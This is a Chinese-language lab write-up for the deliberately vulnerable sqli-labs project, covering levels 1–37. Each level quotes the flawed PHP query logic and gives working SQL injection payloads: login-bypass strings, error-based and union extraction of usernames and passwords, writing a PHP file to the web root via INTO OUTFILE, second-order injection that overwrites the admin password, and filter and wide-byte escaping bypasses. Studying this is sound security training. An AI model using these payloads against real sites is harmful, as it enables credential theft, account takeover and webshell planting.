《从0到1000》sqli-labs1-75关解题记录

文章目录

  • 1-20关:万事开头难
    • Less-1
    • Less-2
    • Less-3
    • Less-4
    • Less-5
    • Less-6
    • Less-7
    • Less-8
    • Less-9
    • Less-10
    • Less-11
    • less-12
    • Less-13
    • Less-14
    • Less-15
    • Less-16
    • Less-17
    • Less-18
    • Less-19
    • Less-20
    • 小结
  • 高级的注入姿势
    • Less-21
    • Less-22
    • Less-23
    • Less-24
    • Less-25
    • Less-25a
    • Less-26
    • Less-26a
    • Less-27
    • Less-27a
    • Less-28
    • Less-28a
    • Less-29
    • Less-30
    • Less-31
    • Less-32
    • Less-33
    • Less-34
    • Less-35
    • Less-36
    • Less-37
    • 小结
  • 堆叠注入stacked injection
    • Less38
    • Less-39
    • Less-40
    • Less-41
    • Less-42
    • Less-43
    • Less-44
    • Less-45
    • Less-46
    • Less-47
    • Less-48
    • Less-49
    • Less-50
    • Less-51
    • Less-52
    • Less-53
    • Less-54
    • Less-55
    • Less-56
    • Less-57
    • Less-58
    • Less-59
    • Less-60
    • Less-61
    • Less-62
    • Less-63
    • Less-64
    • Less-65
    • 总结

项目地址: https://github.com/Audi-1/sqli-labs
题目如下图所示:
《从0到1000》sqli-labs1-75关解题记录_第1张图片 《从0到1000》sqli-labs1-75关解题记录_第2张图片

1-20关:万事开头难

Less-1

利用原理:直接拼接外部传入的id查询,并输出错误调试信息

# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

解题方法:
一、判断注入是否存在(黑盒视角)

《从0到1000》sqli-labs1-75关解题记录_第3张图片?id=1

《从0到1000》sqli-labs1-75关解题记录_第4张图片

?id=1’+and+‘1’='1
回显的结果与id=1时是一样的

《从0到1000》sqli-labs1-75关解题记录_第5张图片?id=1’+and+‘1’='2就发生了变化,由此判断注入点存在

《从0到1000》sqli-labs1-75关解题记录_第6张图片
二、按流程利用-也可以直接使用sqlmap

?id=1’+order+by’3’’ 利用order by 判断列数
?id=-1’+union+select+1,2,3–+ 爆出数据库数据返回的显示位置

《从0到1000》sqli-labs1-75关解题记录_第7张图片
这里之所以要把id=-1是因为只返回一条数据所以要把前面的数据置否,以及上面最后用到的–+或者冒号(比如这里的–+也可以换成’,因为前面的id=-1’是对WHERE id='$id’中的前半部分闭合了,现在欠缺的是后半部分的闭合)都是为了闭合后面的无关语句,让自己的语句可以执行。

一般把后面的注释掉就可以去考虑前面的闭合了。

查询某一条具体数据需要经过的路径:数据库->数据库中有哪些表->数据库中表的字段->具体的数据查询
?id=-1’+union+select+1,2,database()’

《从0到1000》sqli-labs1-75关解题记录_第8张图片?id=-1’+union+select+1,2,(select group_concat(table_name) from information_schema.tables where table_schema=“security”)’

《从0到1000》sqli-labs1-75关解题记录_第9张图片?id=-1’+union+select+1,2,(select group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users”)’

《从0到1000》sqli-labs1-75关解题记录_第10张图片?id=-1’+union+select+1,2,(select group_concat(id) from security.users )’

《从0到1000》sqli-labs1-75关解题记录_第11张图片

Less-2

数值型注入,流程与Less-1大体相同
输入?id=2-1是1的信息,说明此处是数值型注入

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

?id=-1%20union%20select%201,2,database()–+

《从0到1000》sqli-labs1-75关解题记录_第12张图片

Less-3

利用处为id=(‘$id’),流程与Less-1大体相同

?id=1%27)+and%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)–+

《从0到1000》sqli-labs1-75关解题记录_第13张图片

Less-4

# 先双引号 在括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

# 支持联合、报错、布尔盲注、延时盲注
if true:
    输出查询内容
else:
    print_r(mysql_error());

?id=-1")%20and%20updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+
《从0到1000》sqli-labs1-75关解题记录_第14张图片

Less-5

因为不输出查询的结果,这就导致不可以使用联合查询的注入方式

# 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持报错、布尔盲注、延时盲注
if true:
    输出 You are in...........
else:
    print_r(mysql_error());

?id=1%27+and+updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+
《从0到1000》sqli-labs1-75关解题记录_第15张图片

Less-6

id=“$id"和 Less-5 利用方式一致,只是闭合方式不一样,这里即不再啰嗦了。
?id=1”+and+updatexml(1,concat(0x7e,(select@@version),0x7e),1)–+
《从0到1000》sqli-labs1-75关解题记录_第16张图片

Less-7

# 使用单引号加双层括号拼接
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
# 支持布尔盲注、延时盲注
if true:
    输出 You are in.... Use outfile......
else:
    输出 You have an error in your SQL syntax
  //print_r(mysql_error());

?id=1’)) union select 1,2,“” into outfile “C:/phpStudy/PHPTutorial/WWW/1.php” %23
《从0到1000》sqli-labs1-75关解题记录_第17张图片直接通过system函数执行系统命令
《从0到1000》sqli-labs1-75关解题记录_第18张图片

Less-8

id='$id’和 Less-7 注入方式一致,只是拼接方式不一样

?id=1’ union select 1,2,“” into outfile “C:/phpStudy/PHPTutorial/WWW/1.php” %23

Less-9

从源码中可以看到 if else 都输出的是 You are in………… 这样就不能通过布尔盲注来进行注入了,只能用最慢的延时注入。

# 使用单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 支持延时盲注
if true:
    输出 You are in............
else:
    输出 You are in...........

?id=1%27%20and%20sleep(1000)–+

Less-10

和 Less-9 利用方式一样,只是拼接方式不一样,具体可以参考 Less-9

# 先使用双引号再直接拼接
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
# 支持延时盲注
if true:
    输出 You are in............
else:
    输出 You are in...........

?id=1" and sleep(1000)–+

Less-11

# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

# 使用单引号拼接 SQL
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

if true:
    输出查询的信息
else:
    print_r(mysql_error());

万能密码:

# 注释掉 passwd 来登录
uname=admin'--+&passwd=&submit=Submit
uname=admin'#&passwd=&submit=Submit

# 注释后面语句 并 添加一个永真条件
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit

# 闭合后面语句 并 添加一个永真条件
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit

联合查询:

uname=admin&passwd=admin' order by'2'#&submit=Submit
uname=admin&passwd=-1' union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&submit=Submit

《从0到1000》sqli-labs1-75关解题记录_第19张图片

报错注入:
uname=admin&passwd=1’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
《从0到1000》sqli-labs1-75关解题记录_第20张图片

less-12

username=(“x”)和 Less-11 的利用方式一样,只是 SQL 拼接方式不同.
uname=admin&passwd=-1") union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&submit=Submit
《从0到1000》sqli-labs1-75关解题记录_第21张图片

Less-13

# POST 方式接受变量
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

# 使用单引号和括号来拼接 SQL
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

if true:
    并没有输出啥信息
else:
    print_r(mysql_error())

uname=admin&passwd=-1’) and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
《从0到1000》sqli-labs1-75关解题记录_第22张图片

Less-14

# 先使用 双引号 再直接带入 SQL 语句
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

uname=admin&passwd=-1" and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
《从0到1000》sqli-labs1-75关解题记录_第23张图片

Less-15

username=‘x’源码中注释掉了 MySQL 的报错日志,所以这里就不可以进行报错注入了,只能使用布尔盲注或者延时盲注。
uname=admin&passwd=admin’ and 1>0#&submit=Submit
《从0到1000》sqli-labs1-75关解题记录_第24张图片

Less-16

username=(“x”)和 Less-15 注入类型一致,更换对应的闭合方式即可。
uname=admin&passwd=admin") and 1>0#&submit=Submit
《从0到1000》sqli-labs1-75关解题记录_第25张图片

Less-17

# uname 参数被过滤了
$uname=check_input($_POST['uname']);  
$passwd=$_POST['passwd'];

# SELECT 语句只获取了 uname 参数 但是被过滤了 没戏
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

if select 结果正确:
    # 更新语句 使用单引号拼接 passwd
    $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

    if mysql 报错:
            print_r(mysql_error());

从源码中可以分享唯一的注入点是在 update 语句里面,只使用了单引号拼接。因为操作正确并没有啥提示,所以不能使用联合查询注入,因为输出了报错日志,所以还可以进行报错注入,那么下面就演示一下报错注入吧:
uname=admin&passwd=admin’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#&submit=Submit
《从0到1000》sqli-labs1-75关解题记录_第26张图片

Less-18

# 获取请求的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];

if 输入了uname 和 passwd:
    # 对这两个参数进行过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

    if SQL语句有返回结果:
        # 执行 insert 语句 这里 uagent 和 ip_address 通过单引号拼接 并且 没有过滤
        $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            输出 $uagent;
        print_r(mysql_error());
    else:
        print_r(mysql_error());

所以这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点
User-Agent:1’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)and '1
《从0到1000》sqli-labs1-75关解题记录_第27张图片

Less-19

# 获取请求的 referer 和 ip 地址
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];

if 输入了uname 和 passwd:
    # uname 和 passwd 参数均被过滤
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";

    if SQL语句有返回结果:
        # 单引号拼接后直接带入 insert 语句
        $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
        输出 $_SERVER['HTTP_REFERER']
        print_r(mysql_error());    
    else:
        print_r(mysql_error());    

本关和 Less-18 异曲同工,只是这里的漏洞点出在了 referer 里面
《从0到1000》sqli-labs1-75关解题记录_第28张图片

Less-20


if cookie 中不存在 uname 参数:  
    输出了一堆无用的信息
    if 提交了 uname 和 passwd:
        # 进行过滤
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);

        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        $cookee = $row1['username'];
        if 有查询结果:
            # 将 uname 的值设置给 cookie 里面的 uname 参数
            setcookie('uname', $cookee, time()+3600);
        else:
            print_r(mysql_error());

else:
    if POST 数据里面没有 submit 参数:
        $cookee = $_COOKIE['uname'];

        # 直接将 cookee 通过单引号拼接到 SQL 语句中
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        if 查询无结果:
            输出 mysql_error()
        if 有结果:
            输出查询的信息
    else:
        # 将 uname 的值设置给 cookie 里面的 uname 参数
        setcookie('uname', $row1['username'], time()-3600);
?>

从源码中可以分析出 Less-20 要复杂一点,不过问题还是存在,从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,并且还输出了查询信息,所以这里也是可以进行联合查询注入的。
Cookie: uname=admin’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#
《从0到1000》sqli-labs1-75关解题记录_第29张图片

小结

1、前20关主要是考察了sql注入中一些常见的利用点,基本上没有遇到需要绕过的情况,主要思路是:闭合前面的代码,闭合或注释后面的代码。在闭合后面代码时,如果清楚闭合符号,可以使用and 闭合符号 1的类似思路去闭合,以免后续影响代码的正常执行。
2、有回显的情况(报错注入、联合查询)和无回显的情况(延时盲注、布尔盲注)需要仔细分析。

高级的注入姿势

Less-21


if cookie 中不存在 uname 参数:  
    输出了一堆无用的信息
    if 提交了 uname 和 passwd:
        # 进行过滤
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);

        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        if 有查询结果:
            # 将 uname 的值设置给 cookie 里面的 uname 参数
            setcookie('uname', base64_encode($row1['username']), time()+3600);    
        else:
            print_r(mysql_error());

else:
    if POST 数据里面没有 submit 参数:
                 # 对 cookee 进行 base64 解密
        $cookee = base64_decode($cookee);

        # 直接将 cookee 通过单引号拼接到 SQL 语句中
        $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
        if 查询无结果:
            输出 mysql_error()
        if 有结果:
            输出查询的信息
    else:
        # 将 uname 的值设置给 cookie 里面的 uname 参数
        setcookie('uname', base64_encode($row1['username']), time()-3600);
?>

从源码中分析可得,和 Less-20 基本上是一毛一样,只是 Cookie 这里是经过 base64 加密的,所以我们只需要传入加密后的 payload 给 cookie 的 uname 即可:
admin’) and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#
base64编码后:
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdEBAdmVyc2lvbiksMHg3ZSksMSkj
《从0到1000》sqli-labs1-75关解题记录_第30张图片

Less-22

# 先双引号 然后直接拼接到SQL语句中
$cookee1 = '"'. $cookee. '"';    
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

可以发现和 Less-21 相比,只是拼接方式不一样,其他都是一致的
admin" and updatexml(1,concat(0x7e,(select@@version),0x7e),1)#
base64编码:
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0QEB2ZXJzaW9uKSwweDdlKSwxKSM=
《从0到1000》sqli-labs1-75关解题记录_第31张图片

Less-23

# 获取到 id 的值
$id=$_GET['id'];

# 过滤了 id 中的 # 和 -- 然后 替换为 空
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

# 使用单引号拼接 SQL
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if 有查询结果:
    输出查询信息
else:
    print_r(mysql_error());

这道题思路很多,这里主要是通过过滤不严格,采用了别的效果的注释符:
?id=1’ and updatexml(1,concat(0x7e,(select@@version),0x7e),1);%00
或者在结尾使用and '1去闭合也是一样的道理
《从0到1000》sqli-labs1-75关解题记录_第32张图片

Less-24

第一个页面index.php如下:
《从0到1000》sqli-labs1-75关解题记录_第33张图片主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了,逻辑是这样的:提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。

忘记密码:左下角的忘记密码选项提示:如果你忘记密码 请 hack it
新建用户:右下角新建用户可以新建一个自己的用户
其余各页面的程序处理逻辑如下:
failed.php
检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php

forgot_password.php
简单提示:如果你忘记密码 请 hack it

Logged-in.php
登录后的信息展示,显示登录名称并且提供了修改密码的表单

new_user.php
创建新用户的表单页面,本文件主要存放前段代码。

login_create.php

创建新用户的后端代码,下面来简单理一下代码的流程:

# 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

# 查询当前用户信息

$sql = "select count(*) from users where username='$username'";
如果当前用户已经存在 无法注册

if 两次输入密码一致:
  # 将记录插入数据库中
  $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
    查询完成后 重定向到首页
else:
    提示两次输入密码不一致

login.php

# 登录用户名和密码都被过滤了
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

pass_change.php

if 检测未登录:
    重定向到首页
if 检测到提交表单:
  # 对 pass 都进行了过滤
  $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if 两次密码一致:
        # 直接将 username 拼接到 SQL 语句
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
    else:
        提示密码不一致 并重定向到 fail.php

从代码上来看貌似都被转义了,乍一看是成功注入的。实际上的确不能使用常规的思路来进行注入,因为这题是二次注入,ISCC 2019 当时使用这题的考查点是修改掉 admin 用户的密码,然后再登录即可。假设不知道 admin 用户的情况下,想要修改掉 admin 用户的密码的话,这里就使用的是二次注入的姿势了。

二次注入 简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。

先看创建用户的地方,username 被 mysql_escape_string 函数过滤了,该函数将 \ ’ "加上\在前转义:

username =  mysql_escape_string($_POST['username']) ;

再看下更新密码的核心语句:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin’#,那么此时的完整语句就为:

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

步骤演示:
常见一个admin’#开头的用户名,下面列举的几种都可以,以此类推,很灵活:

admin'#1
admin'#233
admin'#gg
...

注册完成后数据库的记录信息如下:

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。

接下来登录 admin’#hacker 用户,然后来修改当前的密码:
《从0到1000》sqli-labs1-75关解题记录_第34张图片此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:

mysql> select * from users;
+----+---------------+------------+
| id | username      | password   |
+----+---------------+------------+
|  8 | admin         | 233        |
| 20 | admin'#hacker | 111        |
+----+---------------+------------+

Less-25

# id 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

# 但是 id 被如下函数过滤了
$id= preg_replace('/or/i',"", $id);    
$id= preg_replace('/AND/i',"", $id);
return $id;

过滤了 or 和 and 关键词,简单绕过没什么好说的
?id=1’||extractvalue(1,concat(0x7e,database()))–+
《从0到1000》sqli-labs1-75关解题记录_第35张图片

Less-25a

id=$id
与 Less-25 相比,只是拼接方式改变,但因为代码中没有输出报错信息,所以也无法进行报错注入,其他利用方式都是一样的

?id=-1 union select 1,2,3–+
联合查询时,注意把前面的数据置否
?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)–+
password写成了passwoorrdSEPARATOR写成SEPARATOORR
《从0到1000》sqli-labs1-75关解题记录_第36张图片看到这里就知道关闭详细信息的报错了
在这里插入图片描述

Less-26

id=‘$id’

# 过滤了 or 和 and 大小写
$id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)

# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*

# 过滤了 -- 和 # 注释
$id= preg_replace('/[--]/',"", $id);        //Strip out --
$id= preg_replace('/[#]/',"", $id);            //Strip out #

# 过滤了空格
$id= preg_replace('/[\s]/',"", $id);        //Strip out spaces

# 过滤了斜线
$id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
return $id;

注意:本关可能在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,需要更换到Linux平台下。
测试以下所有的参数,“OR”、“AND” 所有的注释符和空格全部都被过滤了。

?id=1'--+
?id=1'#
?id=1' OR 1 = 1--+
?id=1' AND 1 = 1--+
?id=1'/*
?id=1'/
?id=1'\

?id=1’发现存在报错注入
《从0到1000》sqli-labs1-75关解题记录_第37张图片?id=1’ '前后闭合了
在这里插入图片描述没闭合
《从0到1000》sqli-labs1-75关解题记录_第38张图片闭合
《从0到1000》sqli-labs1-75关解题记录_第39张图片

直接使用报错注入,该手法无需理会空格问题。
-1’ || updatexml(1,concat(0x7e,database()),1) || ‘1’='1
《从0到1000》sqli-labs1-75关解题记录_第40张图片

Less-26a

id=(‘$id’)与 Less-26 相比,只是拼接方式改变了
测试闭合符号,同时发现报错关闭
《从0到1000》sqli-labs1-75关解题记录_第41张图片
发现此时页面正常返回
《从0到1000》sqli-labs1-75关解题记录_第42张图片?id=100’%0Bunion%0Bselect%0B1,2,3%0Baandnd%0B’1’='1
《从0到1000》sqli-labs1-75关解题记录_第43张图片

Less-27

id=(‘$id’)

# 过滤了 /*
$id= preg_replace('/[\/\*]/',"", $id);
# 过滤了 -
$id= preg_replace('/[--]/',"", $id);
# 过滤了 #
$id= preg_replace('/[#]/',"", $id);
# 过滤了空格
$id= preg_replace('/[ +]/',"", $id);
# 过滤了 select /m 严格模式 不可以使用双写绕过
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);

# 过滤了 union UNION
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
return $id;

直接使用报错注入,该手法无需理会空格问题。
-1’ || updatexml(1,concat(0x7e,database()),1) || ‘1’=‘1
《从0到1000》sqli-labs1-75关解题记录_第44张图片联合查询要绕过关键字过滤,空格
?id=1’%0Bununionion%0BseLect%0B1,2,3%0Band%0B’1

Less-27a

id=“$id”
和 Less-27 相比,只是拼接方式发生了改变,又因为没有报错日志的输出,所以少了报错注入的利用方式,利用方式换汤不换药
?id=100" %0Bununionion%0BseLect%0B1,2,3%0Band%0B"1
《从0到1000》sqli-labs1-75关解题记录_第45张图片

Less-28

id=(‘$id’)

# 过滤 /*
$id= preg_replace('/[\/\*]/',"", $id);

# 过滤 - # 注释
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);

# 过滤 空格 +
$id= preg_replace('/[ +]/',"", $id);.

# 过滤 union select /i 大小写都过滤
$id= preg_replace('/union\s+select/i',"", $id);
return $id;

?id=100’)%0Bunion%0Bselect%0B1,2,3%0Band%0B('1
直接就绕过了
《从0到1000》sqli-labs1-75关解题记录_第46张图片那些绕过的空格符实际上都已经执行的了,只是返回页面时看起来好像没执行,猜测是url浏览器解码导致的
在这里插入图片描述

Less-28a

id=(‘$id’)
?id=-1’) union%a0select 1,2,3 --+没啥可说的直接莽就完事了
《从0到1000》sqli-labs1-75关解题记录_第47张图片

Less-29

这一关分为三个页面
index.php

# id = 'x' 的拼接方式
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if 查询到结果:
    输出查询的详细信息
else:
    print_r(mysql_error());

没啥好说的直接注入就可以
?id=-1’ union select 1,2,3 --+
《从0到1000》sqli-labs1-75关解题记录_第48张图片
login.php

# 查询 query 的字符串
$qs = $_SERVER['QUERY_STRING'];

# 模拟 tomcat 的查询函数 处理一下
$id1=java_implimentation($qs);
$id=$_GET['id'];

# 再次过滤检测
whitelist($id1);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

if 查询到结果:
    输出查询的详细信息
else:
    print_r(mysql_error());
?>

function java_implimentation($query_string)
{
    $q_s = $query_string;
    # & 作为分隔符 分割字符串
    $qs_array= explode("&",$q_s);

    # 遍历 qs_array 数组
    foreach($qs_array as $key => $value)
    {    
        $val=substr($value,0,2);
        # 如果数组前两位是 id 的话
        if($val=="id")
        {    
            # 截取 $value 的3-30 的字符串 作为 id 的值 
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "
"
; break; } } } function whitelist($input) { # 过滤规则 检测数字 $match = preg_match("/^\d+$/", $input); if 不符合规则: header('Location: hacked.php'); }

从代码中还是很容易发现问题的,关键问题出在下面的地方:

$id1=java_implimentation($qs);
...
whitelist($id1);
whitelist` 过滤是比较严格的,如果 id 不是数字的话就会直接重定向到 `hacked.php`,这里是没毛病的。那么问题出在了这里函数`$id1=java_implimentation($qs);

因为 return 表示了函数的结束运行,所以这个函数捕捉到 id 的时候就会返回 return $id_value,这样就导致了 用户加入构造两组 id 的话,那么后面的 id 就会绕过函数检测。

假设用户输入这样的语句:
index.php?id=1&id=2
Apache PHP 会解析最后一个参数

Tomcat JSP 会解析第一个参数

知道这个原理的话后面尝试直接注入吧:
login.php?id=1&id=-2’ union select 1,2,3–+
《从0到1000》sqli-labs1-75关解题记录_第49张图片

Less-30

id=“$id”
和 Less-29 相比没有啥本质变化,只是拼接方式不一样
?id=1&id=-2" union select 1,2,3–+
在这里插入图片描述

Less-31

id=(“$id”)
和 Less-29 相比没有啥本质变化,只是拼接方式不一样
?id=1&id=-2") union select 1,2,3–+
《从0到1000》sqli-labs1-75关解题记录_第50张图片

Less-32

id=‘$id’

if(isset($_GET['id']))
$id=check_addslashes($_GET['id']);

# 在' " \ 等敏感字符前面添加反斜杠
function check_addslashes($string)
{        # \ 转换为 \\
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);# 将 ' 转为\"
    $string = preg_replace('/\'/i', '\\\'', $string);   
      # 将 " 转为\"
    $string = preg_replace('/\"/', "\\\"", $string);                                
    return $string;
}

宽字节注入原理

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。

%df 吃掉 \

具体的原因是 urlencode(') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。

将 \' 中的 \ 过滤掉

例如可以构造 %5c%5c%27 的情况,后面的%5c会被前面的%5c 给注释掉。这也是 bypass 的一种方法。

本关卡采用第一种 %df 宽字节注入来吃掉反斜杠
?id=1%df%27%20and%20updatexml(1,concat(0x7e,(select%20version())),1)–+
《从0到1000》sqli-labs1-75关解题记录_第51张图片

Less-33

id='$id’拼接方式也是一样的,过滤方法细节有点变化,具体如下:

function check_addslashes($string)
{
    $string= addslashes($string);    
    return $string;
}

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串,和 Less-32 的函数功能是差不的,依旧可以使用宽字节进行注入。
使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞
?id=1%df%27%20and%20updatexml(1,concat(0x7e,(select%20version())),1)–+
《从0到1000》sqli-labs1-75关解题记录_第52张图片

Less-34

username=‘$uname’
过滤方法依然和 Less-33 一致,只是由 GET 型变成了 POST 型,所以下面直接丢 POST 的数据包 payload 了:

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

uname=admin%df’ union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=233
在这里插入图片描述由于数据库编码问题没有成功

一种特别的万能密码构造方法:
将 utf-8 转换为 utf-16 或 utf-32,例如将 ’ 转为 utf-16 为�
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换

~ echo \'|iconv -f utf-8 -t utf-16
��'~ echo \'|iconv -f utf-8 -t utf-32
��'

首先尝试一个经典的万能密码:
uname=�’ or 1#&passwd=
为什么这个万能密码可以生效呢,因为拼接到 SQL 中是如下的效果:

SELECT username, password FROM users WHERE username='�' or 1#and password='$passwd' LIMIT 0,1

也可以这样子进行联合查询:
uname=�’ and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=

Less-35

id=$id
首先 id 使用了如下规则过滤:

$id=check_addslashes($_GET['id']);

function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}

但是本关的拼接方式是:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

实际进行注入利用的时候并不需要写单引号,那么就尝试直接注入看看吧:
?id=1 and updatexml(1,concat(0x7e,(select version())),1)
《从0到1000》sqli-labs1-75关解题记录_第53张图片

Less-36

id=‘$id’

$id=check_quotes($_GET['id']);

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

?id=1%df’ and updatexml(1,concat(0x7e,(select version())),1)–+
《从0到1000》sqli-labs1-75关解题记录_第54张图片

Less-37

username=‘$uname’
依然使用了 和 Less-36 的防护方法,所以利用思路也是一毛一样的,只是由 GET 型变成了 POST 型了,下面就直接尝试注入吧:

$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);

